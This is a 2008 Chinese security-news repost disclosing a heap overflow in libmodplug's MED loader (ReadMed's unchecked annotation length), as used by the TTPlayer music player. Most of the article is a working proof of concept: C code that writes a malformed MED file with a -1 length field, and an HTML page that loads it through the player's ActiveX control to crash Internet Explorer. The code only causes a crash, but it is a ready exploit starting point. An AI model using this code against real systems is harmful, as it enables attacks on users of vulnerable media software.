新客网WWW.XKER.COM:致力做中国最专业的网络学院!
学院: 操作系统 - 网络应用 - 服务器 - 网络安全 - 工具软件 - 办公软件 - 编程开发 - 数据库 - 网页设计 - 图形图像 - 媒体动画 - 硬件学堂 - 存储频道 - QQ专区
您的位置:首页 > 新闻中心 > 安全资讯 > 正文:千千静听 med 文件格式堆溢出

千千静听 med 文件格式堆溢出

新客网 XKER.COM 2008-03-03 来源:http://hi.baidu.com/dummy24 收藏本文
千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查
文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。
现在采用libmod 软件很多,都应该存在此问题。

下面是构造问题文件的代码,最后是使用最新版本千千静听的 ax 写的 poc.
/*
libmodplug v0.8
load_med.cpp
    BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
        line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
*/

/*
    author: dummy
    e-mail: dummyz@126.com

    date: 2008/02/25
*/

#include <windows.h>
#include <stdio.h>

#pragma pack(1)

typedef struct tagMEDMODULEHEADER
{
    DWORD id;        // MMD1-MMD3
    DWORD modlen;    // Size of file
    DWORD song;        // Position in file for this song
    WORD psecnum;
    WORD pseq;
    DWORD blockarr;    // Position in file for blocks
    DWORD mmdflags;
    DWORD smplarr;    // Position in file for samples
    DWORD reserved;
    DWORD expdata;    // Absolute offset in file for ExpData (0 if not present)
    DWORD reserved2;
    WORD pstate;
    WORD pblock;
    WORD pline;
    WORD pseqnum;
    WORD actplayline;
    BYTE counter;
    BYTE extra_songs;    // # of songs - 1
} MEDMODULEHEADER;

typedef struct tagMMD0SAMPLE
{
    WORD rep, replen;
    BYTE midich;
    BYTE midipreset;
    BYTE svol;
    signed char strans;
} MMD0SAMPLE;

// MMD0/MMD1 song header
typedef struct tagMMD0SONGHEADER
{
    MMD0SAMPLE sample[63];
    WORD numblocks;        // # of blocks
    WORD songlen;        // # of entries used in playseq
    BYTE playseq[256];    // Play sequence
    WORD deftempo;        // BPM tempo
    signed char playtransp;    // Play transpose
    BYTE flags;            // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song
    BYTE flags2;        // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on
    BYTE tempo2;        // tempo TPL
    BYTE trkvol[16];    // track volumes
    BYTE mastervol;        // master volume
    BYTE numsamples;    // # of samples (max=63)
} MMD0SONGHEADER;

typedef struct tagMMD0EXP
{
    DWORD nextmod;            // File offset of next Hdr
    DWORD exp_smp;            // Pointer to extra instrument data
    WORD s_ext_entries;        // Number of extra instrument entries
    WORD s_ext_entrsz;        // Size of extra instrument data
    DWORD annotxt;
    DWORD annolen;
    DWORD iinfo;            // Instrument names
    WORD i_ext_entries;   
    WORD i_ext_entrsz;
    DWORD jumpmask;
    DWORD rgbtable;
    BYTE channelsplit[4];    // Only used if 8ch_conv (extra channel for every nonzero entry)
    DWORD n_info;
    DWORD songname;            // Song name
    DWORD songnamelen;
    DWORD dumps;
    DWORD mmdinfo;
    DWORD mmdrexx;
    DWORD mmdcmd3x;
    DWORD trackinfo_ofs;    // ptr to song->numtracks ptrs to tag lists
    DWORD effectinfo_ofs;    // ptr to group ptrs
    DWORD tag_end;
} MMD0EXP;

#pragma pack()

// Byte swapping functions from the GNU C Library and libsdl

/* Swap bytes in 16 bit value. */
#ifdef __GNUC__
# define bswap_16(x) \
    (__extension__                                  \
     ({ unsigned short int __bsx = (x);                          \
        ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))
#else
static __inline unsigned short int
bswap_16 (unsigned short int __bsx)
{
return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));
}
#endif

/* Swap bytes in 32 bit value. */
#ifdef __GNUC__
# define bswap_32(x) \
    (__extension__                                  \
     ({ unsigned int __bsx = (x);                          \
        ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |    \
    (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))
#else
static __inline unsigned int
bswap_32 (unsigned int __bsx)
{
return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |
    (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));
}
#endif

#ifdef WORDS_BIGENDIAN
#define bswapLE16(X) bswap_16(X)
#define bswapLE32(X) bswap_32(X)
#define bswapBE16(X) (X)
#define bswapBE32(X) (X)
#else
#define bswapLE16(X) (X)
#define bswapLE32(X) (X)
#define bswapBE16(X) bswap_16(X)
#define bswapBE32(X) bswap_32(X)
#endif

int main()
{
    MEDMODULEHEADER mmh;
    MMD0SONGHEADER msh;
    MMD0EXP mex;
    FILE* file;
    long p;

    memset(&mmh, 0, sizeof (mmh));
    memset(&msh, 0, sizeof (msh));
    memset(&mex, 0, sizeof (mex));
   
    p = 0;

    mmh.id = 0x30444D4D; // version = '0'

    p += sizeof (MEDMODULEHEADER);
    mmh.song = bswapBE32(p);

    p += sizeof (MMD0SONGHEADER);
    mmh.expdata = bswapBE32(p);
   
    p += sizeof (MMD0EXP);
    mex.annolen = bswapBE32(-1);
    mex.annotxt = bswapBE32(p);
   
    file = fopen("test.s3m", "wb+");
    if ( file == NULL )
    {
        printf("create file failed!\n");
    }
    else
    {
        fwrite(&mmh, 1, sizeof (mmh), file);
        fwrite(&msh, 1, sizeof (msh), file);
        fwrite(&mex, 1, sizeof (mex), file);
       
        while ( ftell(file) < 0x1000 )
        {
            fwrite("AAAAAAAAAAAAAAAAAAAA", 1, 16, file);
        }

        fclose(file);

        printf("successed!\n");
    }

    return 0;
}

/*
最新的千千静听提供了 ax, 下面是在 Ie 中触发此漏洞。会导致 ie 崩溃。
*/

<html>
<body>
<OBJECT ID="ttp" WIDTH="250" HEIGHT="400" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03">
</OBJECT>
<INPUT TYPE="button" NAME="test" CAPTION="test" onClick="Test()">
<SCRIPT LANGUAGE="JavaScript">
<!--
    function Test()
    {
        var controls = ttp.controls;

        ttp.URL = "http:\\127.0.0.1\\test.s3m";
        controls.play();
    }
//-->
</SCRIPT>
</body>
</html>
收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭
发表评论
要记得去论坛讨论,点击注册新会员匿名评论
评论内容:不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
阅读排行
随机推荐
实用信息推荐